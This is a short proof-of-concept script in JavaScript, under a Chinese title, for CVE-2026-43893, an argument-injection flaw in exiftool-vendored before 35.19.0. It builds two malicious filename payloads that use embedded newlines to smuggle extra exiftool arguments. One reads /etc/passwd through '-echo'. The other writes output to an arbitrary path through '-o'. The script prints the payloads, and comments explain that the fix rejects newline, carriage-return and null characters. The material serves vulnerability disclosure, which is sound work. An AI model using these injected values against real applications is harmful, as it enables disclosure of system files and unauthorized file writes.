CVE-2026-43893 exiftool-vendored 参数注入漏洞

// Proof of Concept for CVE-2026-43893 // This demonstrates how a newline in a user-supplied string // can lead to argument injection in exiftool-vendored. const exiftool = require('exiftool-vendored').exiftool; async function exploit() { console.log("[+] Simulating CVE-2026-43893 Argument Injection"); // Scenario 1: Injecting a newline to split arguments // Suppose the application takes a filename from user input. // Normal input: "image.jpg" // Malicious input: "image.jpg\n-echo\n${/etc/passwd}" // The newline splits the 'filename' argument, injecting '-echo' and '${/etc/passwd}' as new commands. const maliciousInput = "image.jpg\n-echo\n${/etc/passwd}"; console.log(`[!] Malicious Payload prepared: ${JSON.stringify(maliciousInput)}`); console.log("[!] Payload contains a newline character (\\n) which splits the argument."); // Scenario 2: Attempting to write output to an arbitrary location // Using the newline to inject the '-o' (out) argument. const writePayload = "image.jpg\n-o\n/tmp/malicious_output.txt"; console.log(`[!] Write Payload prepared: ${JSON.stringify(writePayload)}`); console.log("[!] If processed by vulnerable exiftool-vendored (< 35.19.0), this could write output to /tmp/"); // Note: Actual execution requires a vulnerable environment and specific API usage. // The fix in 35.19.0 specifically checks for \n, \r, and \0 characters to prevent this. } exploit().catch(console.error);